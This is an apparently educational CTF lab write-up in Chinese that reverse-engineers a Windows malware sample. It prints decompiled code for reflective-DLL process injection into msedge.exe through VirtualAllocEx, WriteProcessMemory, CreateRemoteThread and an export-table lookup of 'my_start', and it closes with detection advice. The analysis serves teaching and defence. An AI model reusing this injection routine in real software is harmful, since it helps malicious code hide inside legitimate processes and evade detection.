---
# System prepended metadata

title: Simple Reverse - 0x21(2023 Lab - WinMalware - Extract Next Stage Payload - 3)
tags: [Reverse, eductf, CTF]

---

# Simple Reverse - 0x21(2023 Lab - WinMalware - Extract Next Stage Payload - 3)
## Background
* [VirtualAllocEx](https://learn.microsoft.com/zh-tw/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)
* [記憶體保護常數](https://learn.microsoft.com/zh-tw/windows/win32/Memory/memory-protection-constants)
* [WriteProcessMemory](https://learn.microsoft.com/zh-tw/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
* [CreateRemoteThread](https://learn.microsoft.com/zh-tw/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread)
* Export Address Table(EAT)
    > ![](https://hackmd.io/_uploads/rJuBbwaGT.png)
    > ![](https://hackmd.io/_uploads/HJEI-P6zp.png)
    > ![](https://hackmd.io/_uploads/S1Qu-PTM6.png)
## Source code
:::spoiler Source Code `sub_140001A60`
```cpp
__int64 __fastcall sub_140001A60(DWORD edge_pid, const void *pe_file, SIZE_T pe_file_size)
{
  DWORD v4; // eax
  DWORD LastError; // eax
  HANDLE hProcess; // [rsp+40h] [rbp-38h]
  char *lpBaseAddress; // [rsp+48h] [rbp-30h]
  LPTHREAD_START_ROUTINE lpStartAddress; // [rsp+50h] [rbp-28h]
  __int64 v9; // [rsp+58h] [rbp-20h] BYREF
  DWORD ThreadId; // [rsp+60h] [rbp-18h] BYREF

  v9 = 0i64;
  sub_1400018F0(pe_file, &v9);
  if ( v9 )
  {
    hProcess = OpenProcess(0x43Au, 0, edge_pid);
    if ( hProcess )
    {
      lpBaseAddress = (char *)VirtualAllocEx(hProcess, 0i64, pe_file_size, 0x3000u, 0x40u);
      if ( WriteProcessMemory(hProcess, lpBaseAddress, pe_file, pe_file_size, 0i64) )
      {
        lpStartAddress = (LPTHREAD_START_ROUTINE)&lpBaseAddress[v9];
        CreateRemoteThread(hProcess, 0i64, 0i64, (LPTHREAD_START_ROUTINE)&lpBaseAddress[v9], 0i64, 0, &ThreadId);
        sub_140001260("remote thread id: %lu, loader address: %p", ThreadId, lpStartAddress);
        return 1i64;
      }
      else
      {
        LastError = GetLastError();
        sub_140001260("WriteProcessMemory failed, %lu", LastError);
        return 0i64;
      }
    }
    else
    {
      v4 = GetLastError();
      sub_140001260("OpenProcess failed, %lu", v4);
      return 0i64;
    }
  }
  else
  {
    sub_140001260("get_reflectivce_loader_offset failed\n");
    return 0i64;
  }
}
```
:::
## Recon
1. 首先看到他open我們剛剛拿到的edge process
2. 利用`VirtualAllocEx`這個API主要可以在指定的process中malloc一塊記憶體，他的大小取決於`pe_file_size`，而該記憶體配置的類型是`MEM_COMMIT`+`MEM_RESERVE`(暫時不用管是甚麼)，然後權限的話是設定0x40(`PAGE_EXECUTE_READWRITE`)，就是可寫可執行
3. #19的意思是說: 把`pe_file`的資料寫入`lpBaseAddress`的地方，總共寫入`pe_file_size`這麼多的大小
4. #22的意思是把儲存在`(LPTHREAD_START_ROUTINE)&lpBaseAddress[v9]`這邊的東西跑起來
    > $\to$在 Edge process 中建立 thread，thread 執行起點為 `lpBaseAddress[v9]`

:::info
目前為止的資訊
![](https://hackmd.io/_uploads/HyYZbvTfT.png)
:::


---
5. 那甚麼是`v9`呢?
    這個變數可以往回看#11~#12的地方，可以跟進去看
    1. 首先，#18的地方很明顯就是在取得export table，因為他拿的地方是在optional header的data directory[0]，也就是export table。至於`sub_140001410`在幹嘛，簡單說就是把RVA轉回file offset的function
    2. #30~#46的地方就是像前一篇有講到的一樣，是`memcmp("my_start", v13)`，仔細比對前面提到的`memcmp("msedge.exe", process’s executable file name)`，結構幾乎一模一樣
    3. 有了第一部拿到的export table和第二步想要比對的`"my_start"`字串，通靈後可以想到他就是想要拿到名為`my_start`的DLL導出函數
    4. 至此，我們已經知道這一個function在做的事情就是去export table中找到`my_start`這個function後，回傳他的位址
    :::spoiler `sub_1400018F0` Source Code解析前
    ```cpp
    __int64 __fastcall sub_1400018F0(__int64 pe_file, __int64 *a2)
    {
      IMAGE_NT_HEADERS *NtHdr; // rax
      __int64 result; // rax
      __int64 v4; // rax
      unsigned __int8 *v5; // rax
      char *v6; // rcx
      unsigned __int8 v7; // dl
      int v8; // eax
      unsigned __int16 v9; // [rsp+20h] [rbp-38h]
      int i; // [rsp+24h] [rbp-34h]
      unsigned int *v11; // [rsp+28h] [rbp-30h]
      unsigned __int64 v12; // [rsp+30h] [rbp-28h]
      unsigned __int8 *v13; // [rsp+38h] [rbp-20h]
      __int64 v14; // [rsp+40h] [rbp-18h]

      NtHdr = getNtHdr(pe_file);
      v11 = (unsigned int *)(sub_140001410(pe_file, NtHdr->OptionalHeader.DataDirectory[0].VirtualAddress) + pe_file);
      v12 = v11[6];
      for ( i = 0; ; ++i )
      {
        result = i;
        if ( i >= v12 )
          break;
        v4 = sub_140001410(pe_file, v11[8]);
        v13 = (unsigned __int8 *)(sub_140001410(pe_file, *(unsigned int *)(v4 + pe_file + 4i64 * i)) + pe_file);
        v9 = *(_WORD *)(sub_140001410(pe_file, v11[9]) + pe_file + 2i64 * i);
        v14 = *(unsigned int *)(sub_140001410(pe_file, v11[7]) + pe_file + 4i64 * v9);
        v5 = v13;
        v6 = (char *)("my_start" - (char *)v13);
        while ( 1 )
        {
          v7 = *v5;
          if ( *v5 != v6[(_QWORD)v5] )
            break;
          ++v5;
          if ( !v7 )
          {
            v8 = 0;
            goto LABEL_8;
          }
        }
        v8 = v7 < (unsigned int)v6[(_QWORD)v5] ? -1 : 1;
    LABEL_8:
        if ( !v8 )
        {
          result = sub_140001410(pe_file, v14);
          *a2 = result;
          return result;
        }
      }
      return result;
    }
    ```
    :::
    
    :::spoiler `sub_1400018F0` Source Code解析前
    ```cpp
    unsigned __int64 __fastcall getMy_Start_ExportFunction(__int64 pe_file, unsigned __int64 *my_start_address_offset)
    {
      IMAGE_NT_HEADERS *NtHdr; // rax
      unsigned __int64 result; // rax
      unsigned __int64 name_array; // rax
      unsigned __int8 *v5; // rax
      char *v6; // rcx
      unsigned __int8 v7; // dl
      int v8; // eax
      unsigned __int16 name_ordinal; // [rsp+20h] [rbp-38h]
      int i; // [rsp+24h] [rbp-34h]
      IMAGE_EXPORT_DIRECTORY *exportTable; // [rsp+28h] [rbp-30h]
      unsigned __int64 NumberOfNames; // [rsp+30h] [rbp-28h]
      unsigned __int8 *fn_name; // [rsp+38h] [rbp-20h]
      unsigned __int64 fn_addr; // [rsp+40h] [rbp-18h]

      NtHdr = getNtHdr(pe_file);
      exportTable = (rva2FileOffset(pe_file, NtHdr->OptionalHeader.DataDirectory[0].VirtualAddress) + pe_file);
      NumberOfNames = exportTable->NumberOfNames;
      for ( i = 0; ; ++i )
      {
        result = i;
        if ( i >= NumberOfNames )
          break;
        name_array = rva2FileOffset(pe_file, exportTable->AddressOfNames);
        fn_name = (rva2FileOffset(pe_file, *(name_array + pe_file + 4i64 * i)) + pe_file);
        name_ordinal = *(rva2FileOffset(pe_file, exportTable->AddressOfNameOrdinals) + pe_file + 2i64 * i);
        fn_addr = *(rva2FileOffset(pe_file, exportTable->AddressOfFunctions) + pe_file + 4i64 * name_ordinal);
        v5 = fn_name;
        v6 = ("my_start" - fn_name);
        while ( 1 )
        {
          v7 = *v5;
          if ( *v5 != v6[v5] )
            break;
          ++v5;
          if ( !v7 )
          {
            v8 = 0;
            goto LABEL_8;
          }
        }
        v8 = v7 < v6[v5] ? -1 : 1;
    LABEL_8:
        if ( !v8 )
        {
          result = rva2FileOffset(pe_file, fn_addr);
          *my_start_address_offset = result;
          return result;
        }
      }
      return result;
    }
    ```
    :::

## 小節
至此，我們已經把主要程式都分析完了，大略流程如下
> ![](https://hackmd.io/_uploads/Hy5zvDpG6.png)

主要是後面的部分比較難分析，駭客主要的目的是把有問題的DLL file注入到`msedge.exe`這個process中並且建立一個thread，然後從`my_start`這個導出函數開始執行一些操作，這樣一個完整的流程就叫做==Process Injection==

### 這樣繞一大圈的用途
* 不會建立獨立的 process，而是把惡意行為隱藏在正常 process 中，以躲避 process 級別的偵測
* 若能注入高權限 process，則有機會提權
### 防禦手法
* 常用 API：VirtualAllocEx、WriteProcessMemory、CreateRemoteThread
* 一般程式較少對其他 process 做寫入和建立 thread，使用這些 API 十分容易被偵測